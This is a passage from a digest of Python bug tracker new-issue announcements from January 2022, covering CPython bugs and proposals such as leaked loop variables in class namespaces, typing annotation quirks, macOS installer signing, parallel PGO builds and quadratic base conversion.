-Wall => sysconfig[CFLAGS]: -Wsign-compare -g -O0 -Wall ---------- components: Tests messages: 411820 nosy: vstinner priority: normal severity: normal status: open title: test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:46:31 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Thu, 27 Jan 2022 03:46:31 +0000 Subject: [New-bugs-announce] [issue46543] Add sys._getfunc Message-ID: <1643255191.75.0.25013481924.issue46543@roundup.psfhosted.org> New submission from Jelle Zijlstra : sys._getframe() has to create frame objects, which is relatively expensive. Usually the calling function object should be enough. See https://github.com/faster-cpython/ideas/discussions/238 ---------- assignee: Jelle Zijlstra components: Interpreter Core messages: 411833 nosy: Jelle Zijlstra, Mark.Shannon priority: normal severity: normal status: open title: Add sys._getfunc type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 05:25:13 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 27 Jan 2022 10:25:13 +0000 Subject: [New-bugs-announce] [issue46544] `textwrap.TextWrapper` leaks two intermediate vars into class namespace Message-ID: <1643279113.63.0.318517271456.issue46544@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now this works: ``` >>> import textwrap >>> textwrap.TextWrapper.x ' ' >>> textwrap.TextWrapper.uspace 32 ``` This happens because of these lines: https://github.com/python/cpython/blame/606e496dd6e2ace298532da200169124c26ae0f2/Lib/textwrap.py#L66-L69 Notice that `uspace` and `x` are both undocumented, untested, and unused in our code. Similar variables in the same class body are then deleted from the scope: ``` wordsep_simple_re = re.compile(r'(%s+)' % whitespace) del whitespace ``` 1. https://github.com/python/cpython/blame/606e496dd6e2ace298532da200169124c26ae0f2/Lib/textwrap.py#L99 2. https://github.com/python/cpython/blame/606e496dd6e2ace298532da200169124c26ae0f2/Lib/textwrap.py#L106 I propose to add `del x, uspace` as well. These two probably should not be leaking and should not be exposed. ---------- components: Library (Lib) messages: 411849 nosy: sobolevn priority: normal severity: normal status: open title: `textwrap.TextWrapper` leaks two intermediate vars into class namespace type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 05:26:55 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 27 Jan 2022 10:26:55 +0000 Subject: [New-bugs-announce] [issue46545] `textwrap.TextWrapper` leaks two intermediate vars into class namespace Message-ID: <1643279215.23.0.344816596623.issue46545@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now this works: ``` >>> import textwrap >>> textwrap.TextWrapper.x ' ' >>> textwrap.TextWrapper.uspace 32 ``` This happens because of these lines: https://github.com/python/cpython/blame/606e496dd6e2ace298532da200169124c26ae0f2/Lib/textwrap.py#L66-L69 Notice that `uspace` and `x` are both undocumented, untested, and unused in our code. Similar variables in the same class body are then deleted from the scope: ``` wordsep_simple_re = re.compile(r'(%s+)' % whitespace) del whitespace ``` 1. https://github.com/python/cpython/blame/606e496dd6e2ace298532da200169124c26ae0f2/Lib/textwrap.py#L99 2. https://github.com/python/cpython/blame/606e496dd6e2ace298532da200169124c26ae0f2/Lib/textwrap.py#L106 I propose to add `del x, uspace` as well. These two probably should not be leaking and should not be exposed. ---------- components: Library (Lib) messages: 411850 nosy: sobolevn priority: normal severity: normal status: open title: `textwrap.TextWrapper` leaks two intermediate vars into class namespace type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 06:24:52 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 27 Jan 2022 11:24:52 +0000 Subject: [New-bugs-announce] [issue46546] `importlib.metadata.DeprecatedList` leaks `method_name` variable Message-ID: <1643282692.82.0.294408730959.issue46546@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now in `DeprecatedList` there's a possibly unwated name leak of `method_name` here: https://github.com/python/cpython/blob/08c0ed2d9c0d01ad1a5adc0787bc75e4e90cbb85/Lib/importlib/metadata/__init__.py#L295-L308 ``` for method_name in [ '__setitem__', '__delitem__', 'append', 'reverse', 'extend', 'pop', 'remove', '__iadd__', 'insert', 'sort', ]: locals()[method_name] = _wrap_deprecated_method(method_name) ``` Example: ``` >>> import importlib >>> import importlib.metadata >>> importlib.metadata.DeprecatedList.method_name 'sort' ``` Right now `method_name` is unused, undocumented, and untested. My proposal is to add `del method_name` after the `for` loop, so it won't leak. ---------- components: Library (Lib) messages: 411855 nosy: brett.cannon, jaraco, sobolevn priority: normal severity: normal status: open title: `importlib.metadata.DeprecatedList` leaks `method_name` variable type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 06:40:53 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 27 Jan 2022 11:40:53 +0000 Subject: [New-bugs-announce] [issue46547] `pydoc.Helper` leaks several `for` loop variables Message-ID: <1643283653.02.0.615923361004.issue46547@roundup.psfhosted.org> New submission from Nikita Sobolev : Here's the problem. `pydoc.Helper` is defined as: ``` class Helper: for topic, symbols_ in _symbols_inverse.items(): for symbol in symbols_: topics = symbols.get(symbol, topic) if topic not in topics: topics = topics + ' ' + topic symbols[symbol] = topics ``` Link: https://github.com/python/cpython/blob/08c0ed2d9c0d01ad1a5adc0787bc75e4e90cbb85/Lib/pydoc.py#L1877-L1882 It causes some unwanted consequences: `topic, symbols_, symbol` are leaking to the class's namespace. Example: ``` >>> import pydoc >>> pydoc.Helper.symbol 'J' >>> pydoc.Helper.topic 'COMPLEX' >>> pydoc.Helper.symbols_ ('j', 'J') ``` There's also `topics` var, but it is shadowed later. So, I propose deleting all intermediate variables right after the `for` loop. ---------- components: Library (Lib) messages: 411856 nosy: sobolevn priority: normal severity: normal status: open title: `pydoc.Helper` leaks several `for` loop variables type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 06:52:55 2022 From: report at bugs.python.org (Robert Xiao) Date: Thu, 27 Jan 2022 11:52:55 +0000 Subject: [New-bugs-announce] [issue46548] macOS installers cannot be signed on Monterey Message-ID: <1643284375.14.0.614518279625.issue46548@roundup.psfhosted.org> New submission from Robert Xiao : I am building unofficial macOS packages for personal use. My main build machine is running macOS Monterey 12.1 and Xcode 13.2.1. I recently attempted to build Python 3.8.12 as a package using build-installer.py. This worked fine after a bit of dependency wrangling (mostly, downloading the right Tcl/Tk source files manually) and produced an installer package and DMG as expected. However, it is apparently impossible to actually sign the package. I receive the following error: % productsign --sign 'Apple Development: ...' /private/tmp/_py/installer/Python.mpkg /private/tmp/_py/installer/Python-signed.mpkg productsign: preparing "Python.mpkg" for signing ... productsign: error: component package "PythonFramework-3.8.pkg" uses legacy installer features that make it impossible to sign. Unfortunately, searching for "legacy installer features" yields zero useful hits, which is a bit of a surprise. I assume that this error message was added to a recent macOS/Xcode build, but I am unable to downgrade easily. I believe this is probably being triggered because the way the packages are put together differs from the way pkgbuild/productbuild would do it. The longer term solution would probably be to switch to those tools instead of assembling the packages by hand. Issue reproduces with Python 3.11a4 sources as well, so I'm tagging it as applying for 3.8~3.11. ---------- components: Build messages: 411857 nosy: nneonneo priority: normal severity: normal status: open title: macOS installers cannot be signed on Monterey versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:18:58 2022 From: report at bugs.python.org (din14970) Date: Thu, 27 Jan 2022 13:18:58 +0000 Subject: [New-bugs-announce] [issue46549] Error in list comprehension conditionals when used in class attributes Message-ID: <1643289538.01.0.240777935077.issue46549@roundup.psfhosted.org> New submission from din14970 : I discovered this one by accident. When using a conditional inside a list comprehension in class attributes one can get some unexpected behavior. The following does not work: ``` class TestClass: list_1 = [1, 2, 3, 4, 5] exclude = [2, 4] list_2 = [i for i in list_1 if i not in exclude] ``` It throws a `NameError` saying exclude isn't defined. The following snippets do work: ``` exclude = [2, 4] class TestClass: list_1 = [1, 2, 3, 4, 5] list_2 = [i for i in list_1 if i not in exclude] ``` ``` class TestClass: list_1 = [1, 2, 3, 4, 5] exclude = [2, 4] list_2 = [] for i in list_1: if i not in exclude: list_2.append(i) ``` ``` class TestClass: list_1 = [1, 2, 3, 4, 5] exclude = [2, 4] list_2 = [i for i in list_1] ``` So it seems that only when a class attribute is used in the conditional part of another class attribute a `NameError` is raised. ---------- components: Interpreter Core messages: 411869 nosy: din14970 priority: normal severity: normal status: open title: Error in list comprehension conditionals when used in class attributes type: behavior versions: Python 3.10, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 09:55:32 2022 From: report at bugs.python.org (Ian Lee) Date: Thu, 27 Jan 2022 14:55:32 +0000 Subject: [New-bugs-announce] [issue46550] __slots__ updates despite being read-only Message-ID: <1643295332.29.0.0186682990953.issue46550@roundup.psfhosted.org> New submission from Ian Lee : Hi there - I admit that I don't really understand the internals here, so maybe there is a good reason for this, but I thought it was weird when I just ran across it. If I create a new class `A`, and set it's `__slots`: ```python ? ~ docker run -it python:3.10 Python 3.10.2 (main, Jan 26 2022, 20:07:09) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. >>> class A(object): ... __slots__ = ["foo"] ... >>> A.__slots__ ['foo'] ``` If I then go to add a new attribute to extend it on the class, that works: ```python >>> A.__slots__ += ["bar"] >>> A.__slots__ ['foo', 'bar'] ``` But then if I create an instance of that class, and try to update `__slots__` on that instnace, I get an AttributeError that `__slots__` is read-only, and yet it still is updating the `__slots__` variable: ```python >>> a = A() >>> a.__slots__ ['foo', 'bar'] >>> a.__slots__ += ["baz"] Traceback (most recent call last): File "", line 1, in AttributeError: 'A' object attribute '__slots__' is read-only >>> a.__slots__ ['foo', 'bar', 'baz'] >>> A.__slots__ ['foo', 'bar', 'baz'] ``` Maybe there is a good reason for this, but I was definitely surprised that I would get a "this attribute is read-only" error, and yet still see that attribute updated. I first found this in python 3.8.5, but I also tested using docker to generate the above example using docker python:3.10 which gave me python 3.10.2. Cheers! ---------- components: Library (Lib) messages: 411886 nosy: IanLee1521 priority: normal severity: normal status: open title: __slots__ updates despite being read-only type: behavior versions: Python 3.10, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 10:09:28 2022 From: report at bugs.python.org (Dong-hee Na) Date: Thu, 27 Jan 2022 15:09:28 +0000 Subject: [New-bugs-announce] [issue46551] Provide number of workers option for fast PGO build time Message-ID: <1643296168.42.0.736978713671.issue46551@roundup.psfhosted.org> New submission from Dong-hee Na : Compiling CPython with the PGO option is good for CPython performance but compile time is very painful since PGO profiling is executed with a single thread. When I tested with run -m test --pgo -j8, it doesn't affect to optimized result with fast build time. so I would like to provide the option for the number of workers for PGO build. and also with this feature, we can include more PGO tests more aggressively. @vstinner, Do you have any suggestions for this option? - a: ./configure --enable-optimizations --pgo-workers=8 - b: ./configure --enable-optimizations --with-concurrent-pgo - c: ./configure --enable-optimizations (By detecting system cpu count) Following metrics is the reference for decision making :) ## Build Time AS-IS: real 4m42.799s TO-BE(this case -j8): real 2m10.405s ## No performance regression I didn't check how the environment is reliable but there looks no regression. +------------------------+---------+-----------------------+ | Benchmark | base | workers | +========================+=========+=======================+ | 2to3 | 409 ms | 412 ms: 1.01x slower | +------------------------+---------+-----------------------+ | chaos | 115 ms | 114 ms: 1.01x faster | +------------------------+---------+-----------------------+ | deltablue | 6.66 ms | 6.59 ms: 1.01x faster | +------------------------+---------+-----------------------+ | fannkuch | 605 ms | 611 ms: 1.01x slower | +------------------------+---------+-----------------------+ | float | 138 ms | 129 ms: 1.07x faster | +------------------------+---------+-----------------------+ | go | 220 ms | 215 ms: 1.02x faster | +------------------------+---------+-----------------------+ | hexiom | 10.3 ms | 10.1 ms: 1.02x faster | +------------------------+---------+-----------------------+ | json_dumps | 19.6 ms | 19.2 ms: 1.02x faster | +------------------------+---------+-----------------------+ | json_loads | 40.6 us | 39.7 us: 1.02x faster | +------------------------+---------+-----------------------+ | logging_silent | 180 ns | 173 ns: 1.04x faster | +------------------------+---------+-----------------------+ | logging_simple | 8.89 us | 8.81 us: 1.01x faster | +------------------------+---------+-----------------------+ | nqueens | 134 ms | 136 ms: 1.01x slower | +------------------------+---------+-----------------------+ | pathlib | 24.6 ms | 24.2 ms: 1.01x faster | +------------------------+---------+-----------------------+ | pickle | 16.1 us | 15.9 us: 1.01x faster | +------------------------+---------+-----------------------+ | pickle_dict | 41.4 us | 38.1 us: 1.09x faster | +------------------------+---------+-----------------------+ | pickle_list | 6.27 us | 5.09 us: 1.23x faster | +------------------------+---------+-----------------------+ | pickle_pure_python | 499 us | 492 us: 1.01x faster | +------------------------+---------+-----------------------+ | pidigits | 285 ms | 290 ms: 1.02x slower | +------------------------+---------+-----------------------+ | python_startup | 12.1 ms | 12.2 ms: 1.01x slower | +------------------------+---------+-----------------------+ | python_startup_no_site | 8.91 ms | 8.89 ms: 1.00x faster | +------------------------+---------+-----------------------+ | raytrace | 510 ms | 500 ms: 1.02x faster | +------------------------+---------+-----------------------+ | regex_compile | 211 ms | 210 ms: 1.00x faster | +------------------------+---------+-----------------------+ | regex_effbot | 4.99 ms | 4.88 ms: 1.02x faster | +------------------------+---------+-----------------------+ | regex_v8 | 37.3 ms | 36.3 ms: 1.03x faster | +------------------------+---------+-----------------------+ | richards | 73.6 ms | 72.2 ms: 1.02x faster | +------------------------+---------+-----------------------+ | scimark_fft | 542 ms | 552 ms: 1.02x slower | +------------------------+---------+-----------------------+ | scimark_lu | 189 ms | 184 ms: 1.03x faster | +------------------------+---------+-----------------------+ | scimark_monte_carlo | 106 ms | 106 ms: 1.01x slower | +------------------------+---------+-----------------------+ | scimark_sor | 199 ms | 196 ms: 1.01x faster | +------------------------+---------+-----------------------+ | spectral_norm | 177 ms | 176 ms: 1.01x faster | +------------------------+---------+-----------------------+ | unpack_sequence | 64.9 ns | 63.7 ns: 1.02x faster | +------------------------+---------+-----------------------+ | unpickle | 21.5 us | 21.6 us: 1.00x slower | +------------------------+---------+-----------------------+ | unpickle_list | 7.69 us | 7.55 us: 1.02x faster | +------------------------+---------+-----------------------+ | unpickle_pure_python | 402 us | 394 us: 1.02x faster | +------------------------+---------+-----------------------+ | xml_etree_parse | 218 ms | 217 ms: 1.01x faster | +------------------------+---------+-----------------------+ | xml_etree_iterparse | 156 ms | 156 ms: 1.01x faster | +------------------------+---------+-----------------------+ | xml_etree_generate | 132 ms | 131 ms: 1.01x faster | +------------------------+---------+-----------------------+ | xml_etree_process | 92.8 ms | 91.5 ms: 1.02x faster | +------------------------+---------+-----------------------+ | Geometric mean | (ref) | 1.02x faster | +------------------------+---------+-----------------------+ Benchmark hidden because not significant (8): logging_format, meteor_contest, nbody, pyflate, regex_dna, scimark_sparse_mat_mult, sqlite_synth, telco ---------- assignee: corona10 components: Build messages: 411888 nosy: corona10, gvanrossum, vstinner priority: normal severity: normal status: open title: Provide number of workers option for fast PGO build time type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:04:08 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Thu, 27 Jan 2022 20:04:08 +0000 Subject: [New-bugs-announce] [issue46552] typing: get_type_hints can't handle stringified annotations with leading spaces Message-ID: <1643313848.34.0.162030698515.issue46552@roundup.psfhosted.org> New submission from Gregory Beauregard : ``` class C: a: " ClassVar[int]" = 3 get_type_hints(C, globals()) # SyntaxError: Forward reference must be an expression -- got ' ClassVar[int]' ``` I discovered while investigating the viability of moving dataclasses.py to using typing.py's internal type introspection tools that it can't handle stringified annotations with leading spaces. This is covered in dataclasses unit tests: https://github.com/python/cpython/blob/26b0482393a313e3bda364a35e7417e9db52c1c4/Lib/test/test_dataclasses.py#L3033 The relevant failing code in typing.py is here: https://github.com/python/cpython/blob/26b0482393a313e3bda364a35e7417e9db52c1c4/Lib/typing.py#L671 Leading spaces are treated like indention so there's a syntax error. This would be trivial to fix by adding an lstrip() to the compilation code, but it's not clear to me this should be considered a bug. Should this be left as-is, or changed? I'm happy to submit a patch if there's agreement it's a bug. ---------- components: Library (Lib) messages: 411914 nosy: GBeauregard, Jelle Zijlstra, eric.smith priority: normal severity: normal status: open title: typing: get_type_hints can't handle stringified annotations with leading spaces type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 15:50:13 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Thu, 27 Jan 2022 20:50:13 +0000 Subject: [New-bugs-announce] [issue46553] typing: get_type_hints on stringified lone ClassVar raises TypeError Message-ID: <1643316613.99.0.345169624659.issue46553@roundup.psfhosted.org> New submission from Gregory Beauregard : ``` class C: a: "ClassVar" get_type_hints(C, globals()) # TypeError: Plain typing.ClassVar is not valid as type argument ``` A stringified lone ClassVar raises at runtime, but this pattern is tested for in dataclasses unit tests and used in the wild. The PEP is not clear that it should or should not be used with arguments, and it works fine when not stringified. The fix for this is trivial and I can submit a patch if there's agreement. ---------- components: Library (Lib) messages: 411923 nosy: GBeauregard, Jelle Zijlstra, eric.smith, gvanrossum, kj priority: normal severity: normal status: open title: typing: get_type_hints on stringified lone ClassVar raises TypeError versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 16:20:58 2022 From: report at bugs.python.org (Keelung Yang) Date: Thu, 27 Jan 2022 21:20:58 +0000 Subject: [New-bugs-announce] [issue46554] Add append keyword argument to Path.write_text() and Path.write_bytes() Message-ID: <1643318458.5.0.470070571625.issue46554@roundup.psfhosted.org> New submission from Keelung Yang : Three reasons to improve issue 35095: Implement pathlib.Path.append_bytes and pathlib.Path.append_text 1. If I want to append text to log at each startup(before calling basicConfig), there is no simple way to do this. 2. Adding append keyword is better then adding new APIs. 3. From stackoverflow: How does this make the classes clean? They already contain the write_* methods which are just not flexible enough. If the methods (or classes) are not dirty how would e.g. adding an optional parameter append=False to them make them dirty? https://stackoverflow.com/questions/57296168/pathlib-path-write-text-in-append-mode So, this patch is just an implementation of discussions in above stackoverflow link. ---------- files: add-append-arg-to-path.write.patch keywords: patch messages: 411929 nosy: keelung-yang priority: normal severity: normal status: open title: Add append keyword argument to Path.write_text() and Path.write_bytes() Added file: https://bugs.python.org/file50591/add-append-arg-to-path.write.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 16:57:22 2022 From: report at bugs.python.org (Kodiologist) Date: Thu, 27 Jan 2022 21:57:22 +0000 Subject: [New-bugs-announce] [issue46555] Unicode-mangled names refer inconsistently to constants Message-ID: <1643320642.51.0.743138920796.issue46555@roundup.psfhosted.org> New submission from Kodiologist : I'm not sure if this is a bug, but it certainly surprised me. Most reserved words, when Unicode-mangled, as in "???", act like ordinary identifiers (see e.g. bpo-46520). `True`, `False`, and `None` are weird in that Unicode-mangled versions of them refer to those same constants initially, but can take on their own identity as variables if assigned to: Python 3.9.7 (default, Sep 10 2021, 14:59:43) [GCC 11.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> ???? True >>> True = 0 File "", line 1 True = 0 ^ SyntaxError: cannot assign to True >>> ???? = 0 >>> True True >>> ???? 0 I think that `???? = 1` should probably be forbidden. The fact that `????` doesn't always mean the same thing as `True` seems to break the rule in PEP 3131 that "comparison of identifiers is based on NFKC". ---------- messages: 411930 nosy: Kodiologist priority: normal severity: normal status: open title: Unicode-mangled names refer inconsistently to constants type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 18:07:21 2022 From: report at bugs.python.org (Barney Gale) Date: Thu, 27 Jan 2022 23:07:21 +0000 Subject: [New-bugs-announce] [issue46556] pathlib.Path.__enter__() should emit DeprecationWarning Message-ID: <1643324841.78.0.0628599303644.issue46556@roundup.psfhosted.org> New submission from Barney Gale : In Python 3.9 / issue39682 we made Path.__exit__() a no-op, and added a comment in the code mentioning that it should be deprecated in future. The future is here, so let's deprecate it. ---------- components: Library (Lib) messages: 411936 nosy: barneygale priority: normal severity: normal status: open title: pathlib.Path.__enter__() should emit DeprecationWarning type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:38:52 2022 From: report at bugs.python.org (Michael P. Nitowski) Date: Fri, 28 Jan 2022 00:38:52 +0000 Subject: [New-bugs-announce] [issue46557] Logging captured warnings with a format string unnecessarily groups warnings together Message-ID: <1643330332.28.0.388721320926.issue46557@roundup.psfhosted.org> New submission from Michael P. Nitowski : Systems that aggregate logs like Sentry will group all captured warnings under the same event which makes it difficult to assess common warnings ---------- components: Library (Lib) messages: 411947 nosy: mnito priority: normal severity: normal status: open title: Logging captured warnings with a format string unnecessarily groups warnings together type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 21:31:44 2022 From: report at bugs.python.org (Tim Peters) Date: Fri, 28 Jan 2022 02:31:44 +0000 Subject: [New-bugs-announce] [issue46558] Quadratic time internal base conversions Message-ID: <1643337104.3.0.837744135062.issue46558@roundup.psfhosted.org> New submission from Tim Peters : Our internal base conversion algorithms between power-of-2 and non-power-of-2 bases are quadratic time, and that's been annoying forever ;-) This applies to int<->str and int<->decimal.Decimal conversions. Sometimes the conversion is implicit, like when comparing an int to a Decimal. For example: >>> a = 1 << 1000000000 # yup! a billion and one bits >>> s = str(a) I gave up after waiting for over 8 hours, and the computation apparently can't be interrupted. In contrast, using the function in the attached todecstr.py gets the result in under a minute: >>> a = 1 << 1000000000 >>> s = todecstr(a) >>> len(s) 301029996 That builds an equal decimal.Decimal in a "clever" recursive way, and then just applies str to _that_. That's actually a best case for the function, which gets major benefit from the mountains of trailing 0 bits. A worst case is all 1-bits, but that still finishes in under 5 minutes: >>> a = 1 << 1000000000 >>> s2 = todecstr(a - 1) >>> len(s2) 301029996 >>> s[-10:], s2[-10:] ('1787109376', '1787109375') A similar kind of function could certainly be written to convert from Decimal to int much faster, but it would probably be less effective. These things avoid explicit division entirely, but fat multiplies are key, and Decimal implements a fancier * algorithm than Karatsuba. Not for the faint of heart ;-) ---------- components: Interpreter Core files: todecstr.py messages: 411962 nosy: tim.peters priority: normal severity: normal status: open title: Quadratic time internal base conversions type: performance Added file: https://bugs.python.org/file50593/todecstr.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 21:52:31 2022 From: report at bugs.python.org (hello world) Date: Fri, 28 Jan 2022 02:52:31 +0000 Subject: [New-bugs-announce] [issue46559] base64 documentation is out-dated; altchars has to have the exact length of 2. Message-ID: <1643338351.59.0.133820925399.issue46559@roundup.psfhosted.org> New submission from hello world : According to the documentation of base64 (https://docs.python.org/3/library/base64.html), > Optional altchars must be a bytes-like object of at least length 2 (additional characters are ignored) which specifies an alternative alphabet for the + and / characters. but this explanation is out-dated. Actually this had been correct until the commit `4581ae5fa2450db3f00384e4b2e86654605100d4` was made for cpython in "2007". (Thus, the explanation has been incorrect for about 15 years.) The current implementation requires the length of `altchars` to be exactly two, as explicitly written in the comment: > Optional altchars should be a byte string of length 2 which specifies an alternative alphabet for the '+' and '/' characters. and the corresponding assertion is: > assert len(altchars) == 2, repr(altchars) ---------- assignee: docs at python components: Documentation messages: 411967 nosy: docs at python, qp3839 priority: normal severity: normal status: open title: base64 documentation is out-dated; altchars has to have the exact length of 2. versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 22:19:28 2022 From: report at bugs.python.org (Evan) Date: Fri, 28 Jan 2022 03:19:28 +0000 Subject: [New-bugs-announce] [issue46560] ParamSpec: Typo in doc string Message-ID: <1643339968.72.0.870372405704.issue46560@roundup.psfhosted.org> New submission from Evan : Apologies if this is pedantic; in the typing.py file the ParamSpec's doc string says: "They are only valid when used in ``Concatenate``, or s the first argument to ``Callable``" I believe it should be: "They are only valid when used in ``Concatenate``, or as the first argument to ``Callable``" s -> as ---------- messages: 411970 nosy: ESchalton priority: normal severity: normal status: open title: ParamSpec: Typo in doc string type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 02:06:14 2022 From: report at bugs.python.org (Maxwell Bernstein) Date: Fri, 28 Jan 2022 07:06:14 +0000 Subject: [New-bugs-announce] [issue46561] Descriptor resolution should own arguments passed to descriptors Message-ID: <1643353574.8.0.417486846684.issue46561@roundup.psfhosted.org> New submission from Maxwell Bernstein : Currently the descriptor (self) argument to __get__ is passed borrowed, since _PyType_LookupId returns a borrowed reference (see _PyObject_LookupSpecial and lookup_maybe_method in Objects/typeobject.c). This should instead own the reference. ---------- messages: 411978 nosy: tekknolagi priority: normal severity: normal status: open title: Descriptor resolution should own arguments passed to descriptors versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 08:36:09 2022 From: report at bugs.python.org (Pedro Torres) Date: Fri, 28 Jan 2022 13:36:09 +0000 Subject: [New-bugs-announce] [issue46562] Add typeof or eum behavior for in the Typing module Message-ID: <1643376969.17.0.119723519052.issue46562@roundup.psfhosted.org> New submission from Pedro Torres : Currently, the addition of Annotated in PEP 593 on Python 3.9 allows adding arbitrary metadata for type hints. Let's consider the following time_available_online: list[str] = [ '1m', '5m', '1d' ] ``` Hour = Annotated(str, "time available online") ``` Another way to consider this is if the selection was an Enum, since we know the only available options that can be selected (ie. it is not all possible 'str', only the 'str' from a list, which can be defined by the user) It would save time and simplify things if the following was possible. --- from typing import Enum # we save time by not making a duplicate Class, or converting a constant variable to a Class ``` Hour = Enum[time_available_online, "time available online"] ``` ---------- components: Library (Lib) messages: 411995 nosy: Corfucinas priority: normal severity: normal status: open title: Add typeof or eum behavior for in the Typing module type: enhancement versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 10:44:58 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 15:44:58 +0000 Subject: [New-bugs-announce] [issue46563] Add tests and documentation regarding context of exception in a finally block Message-ID: <1643384698.2.0.455310803456.issue46563@roundup.psfhosted.org> New submission from Irit Katriel : This behavior (that the OSError has the ValueError as context) should be tested and documented: >>> try: ... raise TypeError(1) ... except: ... raise ValueError(2) ... finally: ... raise OSError(3) ... Traceback (most recent call last): File "", line 2, in TypeError: 1 During handling of the above exception, another exception occurred: Traceback (most recent call last): File "", line 4, in ValueError: 2 During handling of the above exception, another exception occurred: Traceback (most recent call last): File "", line 6, in OSError: 3 ---------- components: Interpreter Core messages: 412003 nosy: iritkatriel priority: normal severity: normal status: open title: Add tests and documentation regarding context of exception in a finally block type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:36:58 2022 From: report at bugs.python.org (Ken Jin) Date: Fri, 28 Jan 2022 16:36:58 +0000 Subject: [New-bugs-announce] [issue46564] Near zero-cost super().meth() calls via adaptive superinstructions Message-ID: <1643387818.31.0.971991048266.issue46564@roundup.psfhosted.org> New submission from Ken Jin : `super().meth()` is expensive. I propose to optimize 3 parts of this: 1. Avoid creating a temporary super() proxy object. 2. Avoid creating a bound method. 3. Avoid method lookup in super MRO using the inline cache. Credit for 1. and 2. doesn't belong to me. Those were inspired by the excellent work done in issue43563. I'll do this by combining the adjacent CALL (super) and LOAD_METHOD instructions into CALL_NO_KW_SUPER__LOAD_METHOD. Using the specializer means: - We don't touch any compiler code. - This custom instruction isn't revealed to the user - I can make use of the 5 cache entries shared by both CALL_ADAPTIVE and LOAD_METHOD_ADAPTIVE. The final 2-argument super(type, obj).meth() form will have almost no overhead over a corresponding self.meth() call in the current implementation. Please see https://github.com/faster-cpython/ideas/issues/242 and https://github.com/faster-cpython/ideas/discussions/239 for more info. ---------- assignee: kj components: Interpreter Core messages: 412005 nosy: Mark.Shannon, kj priority: normal severity: normal status: open title: Near zero-cost super().meth() calls via adaptive superinstructions type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:47:31 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 28 Jan 2022 16:47:31 +0000 Subject: [New-bugs-announce] [issue46565] Multiple modules leak `for` loop variables into module's namespace Message-ID: <1643388451.48.0.632570140145.issue46565@roundup.psfhosted.org> New submission from Nikita Sobolev : Some variables created as `for X in ...` leak into module's namespace, where the loop is defined. I wrote a simple `flake8` plugin to find names that are used in `ast.Module` in `ast.For`, but not under `if __name__ == '__main__'` and are not used in `del` afterwards. Here's what I got: - Lib/inspect.py:157 - Lib/locale.py:746 - Lib/sysconfig.py:186 - Lib/tokenize.py:141 - 151 - Lib/multiprocessing/process.py:427 - Lib/multiprocessing/managers.py:55 - Lib/json/encoder.py:30 - Lib/http/cookiejar.py:93 - Lib/email/contentmanager.py:73 - Lib/email/contentmanager.py:79 - Lib/email/contentmanager.py:247 - Lib/email/quoprimime.py:60 - Lib/email/quoprimime.py:149 - Lib/_compat_pickle - Lib/lib2to3/pgen2/grammar.py I think, that we need to remove these names. Why? 1. They complicate typeshed typing, we have to annotate them in typeshed, or write custom ignore rules for our test suite. Ref: https://github.com/python/typeshed/blob/56aa2088aada530400b6fdddf0f1d17ca3aaa86f/tests/stubtest_allowlists/py3_common.txt#L448 2. They are in `dir()`, example: ``` >>> import inspect >>> 'k' in dir(inspect) True ``` 3. They are listed in `help()`, let's use `json.encoder` as an example: ``` DATA ESCAPE = re.compile('[\\x00-\\x1f\\\\"\\b\\f\\n\\r\\t]') ESCAPE_ASCII = re.compile('([\\\\"]|[^\\ -~])') ESCAPE_DCT = 